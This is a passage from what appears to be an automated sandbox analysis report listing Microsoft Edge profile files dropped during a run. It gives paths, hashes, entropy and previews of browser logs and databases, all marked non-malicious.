Preview:	2024/10/29-15:35:10.419 1d5c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/10/29-15:35:10.422 1d5c Recovering log #3.2024/10/29-15:35:10.427 1d5c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.132056600699886
Encrypted:	false
SSDEEP:	6:fh9Q+q2P923oH+TcwtrQMxIFUt8UhomGAWZmw+UhcUhVkwO923oH+TcwtrQMFLJ:p9Q+v4YebCFUt8KhW/+KcUhV5LYebtJ
MD5:	0A7755059371FE8C14363C8EA42DBF4C
SHA1:	E8593B53F10A2CBC55E34B3552178E2D574C8380
SHA-256:	D9F7821913028FC805B09D861E5A2099ACB39C81A87DA7AD19101A140130432B
SHA-512:	D7BF757CD0A91F0A71295947E891455BAF4E243AAC4698105864909F150213CFCA744D9BBC88DB925DE49AD813B23773F017A2BCD8E6D61E14BC2A8A62C8AEBA
Malicious:	false
Preview:	2024/10/29-15:35:10.419 1d5c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/10/29-15:35:10.422 1d5c Recovering log #3.2024/10/29-15:35:10.427 1d5c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13374704112052977

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.8298000592118746
Encrypted:	false
SSDEEP:	24:3CSjWvPX4yeBKpsAF4unx+tLp3X2amEtG1ChqETDMQKkOAM4A:3COWX4VKzFALp2FEkChZDdHOp
MD5:	C06EAD0B79B6708ED46612E984F6DB12
SHA1:	8DA2F3083FD9024266B17B32C2D1E8084D8F34A5
SHA-256:	51F05E202C34917CB9EF4A86711D749E225B647E1420185FA9D331C7D23AFCCC
SHA-512:	7C11243DBC1AF48B0D11C2171C7ACD56AFF01FC2EEF9282AD72C35EB3ABFC12F429406966E50E45B7B25F07AB84507DD9CF7E6F8C91AA6A33AD1BC269CC19D33
Malicious:	false
Preview:	SNSS........\|.u............\|.u......".\|.u............\|.u........\|.u........\|.u........\|.u....!...\|.u................................\|.u.\|.u1..,....\|.u$...c20098de_4080_4e80_b77e_532c15588cec....\|.u........\|.u................\|.u....\|.u........................\|.u....................5..0....\|.u&...{98952893-68FF-4A5D-A164-705C709ED3DB}......\|.u........\|.u...........................\|.u............\|.u........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x........3...%...3...%.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.15731506703956
Encrypted:	false
SSDEEP:	6:/i+q2P923oH+Tcwt7Uh2ghZIFUt8M+ZZmw+M+NVkwO923oH+Tcwt7Uh2gnLJ:/i+v4YebIhHh2FUt8ZZ/+ZNV5LYebIh9
MD5:	8D5F44FF3B663037F466CFD64FE5D4CA
SHA1:	4FB929B1DF7BEB3AF6AD4CECB68B3C50AEC427CF
SHA-256:	F13625CD85D8B414EAA6559FEC6F0319FA6ED22E70466545B145FBBF6D5FA3C3
SHA-512:	4E4D1BDA799AD7CC3BD1EAF9E87F734AC6D1EA4974345383BEFEEA243A57709264A301380F4E26EC591FB88877061E5CDC0A34F709187B0C1ED1B6D0C3EA82BA
Malicious:	false
Preview:	2024/10/29-15:35:09.569 1d9c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/10/29-15:35:09.570 1d9c Recovering log #3.2024/10/29-15:35:09.570 1d9c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.15731506703956
Encrypted:	false
SSDEEP:	6:/i+q2P923oH+Tcwt7Uh2ghZIFUt8M+ZZmw+M+NVkwO923oH+Tcwt7Uh2gnLJ:/i+v4YebIhHh2FUt8ZZ/+ZNV5LYebIh9
MD5:	8D5F44FF3B663037F466CFD64FE5D4CA
SHA1:	4FB929B1DF7BEB3AF6AD4CECB68B3C50AEC427CF
SHA-256:	F13625CD85D8B414EAA6559FEC6F0319FA6ED22E70466545B145FBBF6D5FA3C3
SHA-512:	4E4D1BDA799AD7CC3BD1EAF9E87F734AC6D1EA4974345383BEFEEA243A57709264A301380F4E26EC591FB88877061E5CDC0A34F709187B0C1ED1B6D0C3EA82BA
Malicious:	false
Preview:	2024/10/29-15:35:09.569 1d9c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/10/29-15:35:09.570 1d9c Recovering log #3.2024/10/29-15:35:09.570 1d9c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.244923368623463
Encrypted:	false
SSDEEP:	12:pI5v4YebvqBQFUt8KV/+KXqz5LYebvqBvJ:p04YebvZg8KDXqlLYebvk
MD5:	95EA3E84E2EBCF5AD1B20E8574F40BD6
SHA1:	15DCE5747E376B98D15E5306D5D910930DE05581
SHA-256:	272CDCA18860592ABA601926D686D09B6BBD21777BFD08B6FA7410462F11FC8E
SHA-512:	D05BD0C670BBF289E3C90F8E635E2FB2491716B507574067CE67CF068ABB08B0C3C1CCEA40DD7DC9A8CBA1F19120C9B09A8F10682AD8F48BBD34C5D3785F5260
Malicious:	false
Preview:	2024/10/29-15:35:10.584 1c54 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/10/29-15:35:10.630 1c54 Recovering log #3.2024/10/29-15:35:10.639 1c54 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.244923368623463
Encrypted:	false
SSDEEP:	12:pI5v4YebvqBQFUt8KV/+KXqz5LYebvqBvJ:p04YebvZg8KDXqlLYebvk
MD5:	95EA3E84E2EBCF5AD1B20E8574F40BD6
SHA1:	15DCE5747E376B98D15E5306D5D910930DE05581
SHA-256:	272CDCA18860592ABA601926D686D09B6BBD21777BFD08B6FA7410462F11FC8E
SHA-512:	D05BD0C670BBF289E3C90F8E635E2FB2491716B507574067CE67CF068ABB08B0C3C1CCEA40DD7DC9A8CBA1F19120C9B09A8F10682AD8F48BBD34C5D3785F5260
Malicious:	false
Preview:	2024/10/29-15:35:10.584 1c54 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/10/29-15:35:10.630 1c54 Recovering log #3.2024/10/29-15:35:10.639 1c54 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\754baf6b-db61-40be-ab67-147c81cf7c9c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiBn1KKyRY:YHpoeS7PMVKJTnMRK3B1KF+
MD5:	F32592F4926E25E0D647EA7E4CBCD3FE
SHA1:	4126DAA71810BDC438563699F77D5DA66DD3295E
SHA-256:	BB0A228D78AE9A4E3508B13B041710AAA7E658AAA526FA553719851EB4F2303A
SHA-512:	96F9B027B0E7E44E14006EAC6DE05A6CF684F5D6427004737CC379DC02875FA1D65C422AB6CA0EF89C0555ACD12B1D99F552894F15EE9EAF1A203FE58835A35D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\7ab7d476-ab23-48a5-8fb7-abf55fd91b55.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\7f83709c-f2de-48a0-a5ed-c4c1b5498e48.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqkomn1KKyRY:YHpoeS7PMVKJTnMRKXkh1KF+
MD5:	ABE81C38891A875B52127ACE9C314105
SHA1:	8EDEBDDAD493CF02D3986A664A4AD1C71CCEBB5F
SHA-256:	6D398F9EB5969D487B57E1C3E1EDDE58660545A7CE404F6DA40C8738B56B6177
SHA-512:	B90DC0E50262ECB05FE1989FA3797C51DF92C83BE94F28FE020994ED6F0E1365EB5B9A0ADA68FCFD46DADEDB6F08FA0E57FF91AA12ED88C3D9AE112FF74329F2
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State~RF403e4.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqkomn1KKyRY:YHpoeS7PMVKJTnMRKXkh1KF+
MD5:	ABE81C38891A875B52127ACE9C314105
SHA1:	8EDEBDDAD493CF02D3986A664A4AD1C71CCEBB5F
SHA-256:	6D398F9EB5969D487B57E1C3E1EDDE58660545A7CE404F6DA40C8738B56B6177
SHA-512:	B90DC0E50262ECB05FE1989FA3797C51DF92C83BE94F28FE020994ED6F0E1365EB5B9A0ADA68FCFD46DADEDB6F08FA0E57FF91AA12ED88C3D9AE112FF74329F2
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3bce8.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\b52c0344-c41a-4f7c-8607-adb60f16556d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqkomn1KKyRY:YHpoeS7PMVKJTnMRKXkh1KF+
MD5:	ABE81C38891A875B52127ACE9C314105
SHA1:	8EDEBDDAD493CF02D3986A664A4AD1C71CCEBB5F
SHA-256:	6D398F9EB5969D487B57E1C3E1EDDE58660545A7CE404F6DA40C8738B56B6177
SHA-512:	B90DC0E50262ECB05FE1989FA3797C51DF92C83BE94F28FE020994ED6F0E1365EB5B9A0ADA68FCFD46DADEDB6F08FA0E57FF91AA12ED88C3D9AE112FF74329F2
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\c232aa0c-89d7-49a2-843d-21f39db4861f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.240730461684442
Encrypted:	false
SSDEEP:	12:dZ+v4YebvqBZFUt8WnW/+W/NV5LYebvqBaJ:de4Yebvyg8Wnu9LYebvL
MD5:	C1CF2CB0987A505ED87E4FDE969DCF19
SHA1:	61822F48F6108BF8A42C70A9594B1803A20FC476
SHA-256:	B29C279FD6FA8C065DEAF81CC7168A214ED79CFC73D40F87E8801BC07410DBD2
SHA-512:	F8A5DE36782C6B7B49DAA9788063D3F9AA47284B905F533278799D7D1CDD3B97392C7071E82C64BDB30609D48ABC2D1F16F54E2C116BAC3DBDC58F8C9CA0C7C9
Malicious:	false
Preview:	2024/10/29-15:35:30.074 1d5c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/10/29-15:35:30.075 1d5c Recovering log #3.2024/10/29-15:35:30.078 1d5c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.240730461684442
Encrypted:	false
SSDEEP:	12:dZ+v4YebvqBZFUt8WnW/+W/NV5LYebvqBaJ:de4Yebvyg8Wnu9LYebvL
MD5:	C1CF2CB0987A505ED87E4FDE969DCF19
SHA1:	61822F48F6108BF8A42C70A9594B1803A20FC476
SHA-256:	B29C279FD6FA8C065DEAF81CC7168A214ED79CFC73D40F87E8801BC07410DBD2
SHA-512:	F8A5DE36782C6B7B49DAA9788063D3F9AA47284B905F533278799D7D1CDD3B97392C7071E82C64BDB30609D48ABC2D1F16F54E2C116BAC3DBDC58F8C9CA0C7C9
Malicious:	false
Preview:	2024/10/29-15:35:30.074 1d5c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/10/29-15:35:30.075 1d5c Recovering log #3.2024/10/29-15:35:30.078 1d5c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.2504342735824565
Encrypted:	false
SSDEEP:	6:/h+q2P923oH+TcwtpIFUt8pZmw+dVkwO923oH+Tcwta/WLJ:/sv4YebmFUt8p/+j5LYebaUJ
MD5:	167F2FD600DF45F22EDC74F59812B089
SHA1:	DC3C09FDC19D05B078753CE9AA317C4C7895F92A
SHA-256:	4D005021893E49A6DB2F920C0110CFC8A7302750715A8E606D18FA28D8CD77B9
SHA-512:	685828376C267B17FCAD0DB1540E2693D61EC36A1C84EBB5DC6CDA0FAB6CF8DA5F74A8626853F1D41C6AB7E6F233EA8BAC0132E95A18A4A46C8595E9BB0B6361
Malicious:	false
Preview:	2024/10/29-15:35:09.536 1d98 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/10/29-15:35:09.546 1d98 Recovering log #3.2024/10/29-15:35:09.546 1d98 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.2504342735824565
Encrypted:	false
SSDEEP:	6:/h+q2P923oH+TcwtpIFUt8pZmw+dVkwO923oH+Tcwta/WLJ:/sv4YebmFUt8p/+j5LYebaUJ
MD5:	167F2FD600DF45F22EDC74F59812B089
SHA1:	DC3C09FDC19D05B078753CE9AA317C4C7895F92A
SHA-256:	4D005021893E49A6DB2F920C0110CFC8A7302750715A8E606D18FA28D8CD77B9
SHA-512:	685828376C267B17FCAD0DB1540E2693D61EC36A1C84EBB5DC6CDA0FAB6CF8DA5F74A8626853F1D41C6AB7E6F233EA8BAC0132E95A18A4A46C8595E9BB0B6361
Malicious:	false
Preview:	2024/10/29-15:35:09.536 1d98 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/10/29-15:35:09.546 1d98 Recovering log #3.2024/10/29-15:35:09.546 1d98 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2650008874660459
Encrypted:	false
